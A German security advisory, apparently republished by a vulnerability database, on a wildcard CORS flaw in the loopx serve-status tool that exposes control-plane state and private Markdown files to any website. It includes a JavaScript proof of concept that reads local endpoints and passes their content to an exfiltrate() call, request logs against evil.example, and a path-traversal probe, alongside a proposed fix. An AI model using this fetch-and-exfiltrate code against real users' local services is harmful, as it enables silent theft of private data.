Hoch

Durchlässige CORS-Richtlinie in LoopX serve-status legt Zustand der Control-Plane und private Markdown-Dateien offen

  • Veröffentlicht: 19.10.2026
  • Aktualisiert: 20.10.2026 09:52

Zusammenfassung

loopx serve-status sendet Access-Control-Allow-Origin: * bei jeder Antwort, einschließlich seiner unauthentifizierten GET-Routen. Da der Endpunkt nicht authentifiziert ist und an einen festen, wohlbekannten Loopback-Port gebunden ist, kann jede vom Operator besuchte Website den Zustand der LoopX-Control-Plane und die Inhalte von Markdown-Dateien in jedem registrierten Ziel-Repository auslesen, indem ein gewöhnliches fetch() ohne Benutzerinteraktion verwendet wird.

Die Schreib-Endpunkte sind nicht betroffen – sie prüfen den Origin-Header ordnungsgemäß. Dieser Bericht bezieht sich ausschließlich auf die Lese-Pfade.

Auswirkungen

Während loopx serve-status läuft, kann eine Seite beliebigen Ursprungs (Origin) Folgendes ausführen:

js
// no interaction, no preflight, no credentials needed
const s = await (await fetch('http://127.0.0.1:8766/status.json')).json();
for (const g of s.goals ?? []) {
  const m = await (await fetch(
    `http://127.0.0.1:8766/review-material?goal_id=${g.id}&path=design-notes.md`
  )).json();
  exfiltrate(m.content);
}

und folgende Daten auslesen:

  • GET /status.json — die gesamte Zustandsprojektion: Ziel-IDs, Ausführungshistorie und lokale absolute Pfade (registry, runtime_root). Mit --global-registry betrifft dies jedes auf dem System registrierte Projekt, nicht nur eines.
  • GET /review-material?goal_id=…&path=… — den Inhalt jeder .md/.markdown-Datei unter dem Repo-Stammverzeichnis, State-Verzeichnis oder Runtime-Verzeichnis eines Ziels. In der Praxis handelt es sich dabei um private Entwurfsnotizen, Übergabedokumente und Nachweisberichte des Operators.
  • GET / — Endpunkt-Ermittlung, einschließlich der Information, welche Schreib-APIs aktiviert sind.
  • POST /control-plane/configure-goal/dry-run — diese Route besitzt überhaupt keine Origin-Prüfung, und do_OPTIONS gibt Access-Control-Allow-Headers: Content-Type zurück, sodass ein Cross-Origin-JSON-POST den Preflight besteht. Die Antwort legt die before/after-Control-Plane-Konfiguration für ein Ziel offen. (Es werden keine Schreibvorgänge ausgeführt – verifiziert durch written=false).

docs/public-private-boundary.md stuft „lokale absolute Pfade“, „Task-IDs“, „Rohprotokolle und -metriken“ sowie „aktiven Zielzustand, der den aktuellen Benutzerkontext offenlegt“ als vertrauliches Material ein. All dies ist derzeit von beliebigen Origins lesbar.

Zwei Aspekte machen dies zu mehr als einem theoretischen Problem:

  1. Feste Standardports. 8765 (Projekt) und 8766 (global) sind fest vorgegebene Standards, sodass eine Angreiferseite einfach beide ausprobieren kann – ein Erkennungsschritt ist nicht erforderlich.
  2. Es ist als dauerhafter Dienst dokumentiert. docs/guides/getting-started.md dokumentiert loopx serve-status, und scripts/macos-dashboard-launchagent.sh installiert einen LaunchAgent, der serve-status --global-registry --port 8766 nach jeder Anmeldung ausführt. Für jeden, der dieser Anleitung folgt, stellt dies eine dauerhafte, maschinenweite Lese-Angriffsfläche dar.

Dies wurde auf Basis der interaktionsfreien Exfiltration privater lokaler Daten aus einem persistenten Dienst als High eingestuft. Es ist rein lesend und im Umfang begrenzt.

Ort

loopx/status_server.py:136-146 — StatusRequestHandler._send_json():

python
def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
    ...
    self.send_header("Access-Control-Allow-Origin", "*")   # <-- line 142

_send_json ist der zentrale Antwortpfad für alle Routen, daher wird die Wildcard gleichermaßen auf /status.json, /review-material, /healthz, / und die Dry-Run-POST-Anfragen angewendet. do_OPTIONS (:148-153) wiederholt dies.

Zum Zeitpunkt der Berichterstellung im main HEAD (b0c8e315, Blob c9e53d1a) bestätigt.

Was NICHT betroffen ist

Folgende Schutzmaßnahmen greifen ordnungsgemäß:

  • Schreibvorgänge sind geschützt. Wenn --enable-reward-write-api und --enable-control-plane-write-api aktiviert sind, geben POST /reward/append und POST /control-plane/configure-goal/apply für ein fremdes Origin 403 „only accepts loopback browser origins“ zurück. is_loopback_origin() erfüllt seinen Zweck. Es gibt keine Cross-Origin-Schreibzugriffe, und auch DNS-Rebinding überwindet dies nicht (die umgebundene Seite trägt weiterhin ihren eigenen Nicht-Loopback-Origin).
  • Kein Path Traversal. ../../../../etc/hostname → 400; ein absoluter Pfad .md außerhalb der Ziel-Roots → 400 („outside the goal repo/state/runtime roots“). path_is_under() arbeitet korrekt.
  • Erweiterungs-Allowlist greift. secrets.env innerhalb des Repositories → 400. Es können nur .md/.markdown gelesen werden.
  • Dry-Run schreibt nicht. configure_goal_with_global_sync(execute=False) kehrt vor jeglichem Schreibvorgang zurück; beobachtet wurde written=false.

Die Exposition beschränkt sich somit auf: Status-JSON + Markdown-Dateien unter registrierten Zielverzeichnissen. Dies sind vertrauliche Daten, aber es liegt kein beliebiges Auslesen von Dateien und keine Remote-Code-Ausführung vor.

Proof of Concept

Ausgeführt auf einem unmodifizierten Klon bei HEAD mit Standard-Flags (keine Schreib-APIs aktiviert):

GET /healthz                 Origin: https://evil.example  -> 200  ACAO: '*'
GET /                        Origin: https://evil.example  -> 200  ACAO: '*'
GET /status.json             Origin: https://evil.example  -> 200  ACAO: '*'
GET /review-material?goal_id=victim-goal&path=internal-design-notes.md
                             Origin: https://evil.example  -> 200  ACAO: '*'
   content: "# Internal notes\n\nPROD_DB_HOST=db.internal.corp\nCONFIDENTIAL: ..."

Der Dateiinhalt wurde unverändert an einen fremden Origin zurückgegeben. Entsprechende Kontrolltests aus derselben Umgebung mit beiden aktivierten Schreib-Flags:

POST /reward/append                        Origin: https://evil.example -> 403 (origin check)
POST /control-plane/configure-goal/apply   Origin: https://evil.example -> 403 (origin check)
GET  /review-material  ../../../../etc/hostname                        -> 400 (traversal blocked)
GET  /review-material  <abs path outside roots>.md                     -> 400 (root check)
GET  /review-material  secrets.env                                     -> 400 (extension check)
GET  /status.json                          Origin: https://evil.example -> 200 ACAO '*'  <-- still readable

Das Test-Skript umfasst ca. 120 Zeilen Standard-Python und verändert keine Dateien im Repository.

Vorgeschlagene Behebung

Die passende Bedingung ist in der Datei bereits vorhanden: is_loopback_origin(). Die minimale Lösung besteht darin, keine Wildcard mehr zu senden, sondern den angefragten Origin nur dann widerzuspiegeln, wenn er diese Prüfung besteht:

python
def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
    body = json.dumps(payload, ensure_ascii=False, indent=2).encode("utf-8")
    self.send_response(status)
    self.send_header("Content-Type", "application/json; charset=utf-8")
    self.send_header("Content-Length", str(len(body)))
    self.send_header("Cache-Control", "no-store")
    origin = self.headers.get("Origin")
    if origin and is_loopback_origin(origin):
        self.send_header("Access-Control-Allow-Origin", origin)
        self.send_header("Vary", "Origin")
    # no Origin header (curl, the CLI, a same-origin fetch) -> send no ACAO at all
    self.end_headers()
    self.wfile.write(body)

und analog in do_OPTIONS. Dies erhält die Funktion des Dashboards – es wird von http://127.0.0.1:5174 bereitgestellt und ruft 127.0.0.1:8765/8766 ab, was Cross-Origin zwischen zwei Loopback-Ports darstellt –, blockiert jedoch jeden Nicht-Loopback-Origin.

Zwei optionale Härtungsschritte:

  • Die vorhandene is_loopback_origin()-Prüfung auch auf POST /control-plane/configure-goal/dry-run und POST /reward/dry-run anwenden, damit die Konfigurationsprojektion nicht über Cross-Origin lesbar ist.
  • Eine Überprüfung des Host-Headers hinzufügen (Host ablehnen, falls nicht Loopback), um DNS-Rebinding für Clients zu verhindern, die kein Origin senden.

Prüfungsumfang

Überprüft wurden 26/52 identifizierte Einstiegspunkte in 758 Dateien (360,618 LOC) des loopx-Pakets und Dashboards; Werkzeuge: semgrep 1.172.0, trufflehog 3.96.0, osv-scanner 2.4.0, sowie eine manuelle Datenflussanalyse. Übersprungen: tests/, regression/, examples/, docs/ und die Benchmark-Adapter unter loopx/benchmark_adapters/. Zuverlässigkeit der Abdeckung: partiell.

Weitere untersuchte Komponenten ohne festgestellte Mängel: Self-Update (curl | bash über HTTPS zu fest codierter raw.githubusercontent.com-URL; die Überschreibung von LOOPX_ARCHIVE_URL erfordert Umgebungskontrolle, die ein Angreifer bereits haben müsste); Skill-Installation für Projekte/Slash-Befehle (strikte ID-Regex plus _assert_project_boundary()-Eindämmung); der shell=True-Worker-Tick (der Wert ist definitionsgemäß ein benutzerdefinierter Shell-Befehl, und demo_supervisor.build_visible_worker_turn_command übergibt das Ziel über shlex.quote); ausgehende SSRF-Angriffsflächen (content_ops/surface.py blockiert private/Loopback/Link-Local-Bereiche und verweigert Weiterleitungen). Kein pickle, yaml.load, eval oder os.system im gesamten Paket.

3 Abhängigkeitswarnungen existieren nur in Dev/Docs-Tools (pymdown-extensions, idna, postcss); keine davon ist aus dem Runtime-Paket erreichbar, das keine Abhängigkeiten deklariert.

Erkannt durch

Aeon,) im Rahmen einer automatisierten Sicherheitsüberprüfung. Befunde wurden bei HEAD reproduziert und vor der Meldung manuell verifiziert. Privat über GitHub PVR gemeldet, da dies der von SECURITY.md vorgesehene Kanal ist.

Was zu tun ist

Aktualisieren Sie loopx auf Version 0.4.5 oder höher.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) loopx >= 0.0.1, < 0.4.5 0.4.5

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Schwäche (CWE)
CWE-346, CWE-942
Plattform
Python (PyPI)
Paket
loopx
Veröffentlicht
19.10.2026
Aktualisiert
20.10.2026 09:52

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-vx2m-gpq4-8j5q - CC BY 4.0

Schwachstellenhistorie: loopx

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Dies ist die einzige bekannte Schwachstelle dieses Pakets.

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.